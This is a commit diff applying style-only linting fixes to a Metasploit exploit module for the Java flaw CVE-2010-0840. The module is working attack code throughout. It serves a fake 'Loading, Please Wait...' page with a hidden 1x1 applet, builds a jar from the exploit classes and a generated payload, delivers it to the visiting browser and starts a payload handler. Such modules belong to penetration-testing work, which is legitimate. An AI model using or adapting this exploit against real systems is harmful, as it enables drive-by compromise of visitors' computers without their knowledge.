Mass rubocop changes
This commit is contained in:
@@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
[
|
||||
'Generic (Java Payload)',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Arch' => ARCH_JAVA
|
||||
}
|
||||
],
|
||||
[
|
||||
@@ -69,22 +69,22 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if not request.uri.match(/\.jar$/i)
|
||||
if not request.uri.match(/\/$/)
|
||||
send_redirect(cli, get_resource() + '/', '')
|
||||
if !request.uri.match(/\.jar$/i)
|
||||
if !request.uri.match(%r{/$})
|
||||
send_redirect(cli, get_resource + '/', '')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{self.name} handling request")
|
||||
print_status("#{name} handling request")
|
||||
|
||||
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
|
||||
return
|
||||
end
|
||||
|
||||
paths = [
|
||||
[ "vuln", "Exploit.class" ],
|
||||
[ "vuln", "Exploit$1.class" ],
|
||||
[ "vuln", "Link.class" ],
|
||||
[ 'vuln', 'Exploit.class' ],
|
||||
[ 'vuln', 'Exploit$1.class' ],
|
||||
[ 'vuln', 'Link.class' ],
|
||||
]
|
||||
|
||||
p = regenerate_payload(cli)
|
||||
@@ -92,28 +92,28 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
jar = p.encoded_jar
|
||||
paths.each do |path|
|
||||
1.upto(path.length - 1) do |idx|
|
||||
full = path[0, idx].join("/") + "/"
|
||||
full = path[0, idx].join('/') + '/'
|
||||
if !(jar.entries.map { |e| e.name }.include?(full))
|
||||
jar.add_file(full, '')
|
||||
end
|
||||
end
|
||||
fd = File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2010-0840", path), "rb")
|
||||
fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2010-0840', path), 'rb')
|
||||
data = fd.read(fd.stat.size)
|
||||
jar.add_file(path.join("/"), data)
|
||||
jar.add_file(path.join('/'), data)
|
||||
fd.close
|
||||
end
|
||||
|
||||
print_status("Sending Applet.jar")
|
||||
send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })
|
||||
print_status('Sending Applet.jar')
|
||||
send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' })
|
||||
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
def generate_html
|
||||
html = "<html><head><title>Loading, Please Wait...</title></head>"
|
||||
html += "<body><center><p>Loading, Please Wait...</p></center>"
|
||||
html += "<applet archive=\"Exploit.jar\" code=\"vuln.Exploit.class\" width=\"1\" height=\"1\">"
|
||||
html += "</applet></body></html>"
|
||||
html = '<html><head><title>Loading, Please Wait...</title></head>'
|
||||
html += '<body><center><p>Loading, Please Wait...</p></center>'
|
||||
html += '<applet archive="Exploit.jar" code="vuln.Exploit.class" width="1" height="1">'
|
||||
html += '</applet></body></html>'
|
||||
return html
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user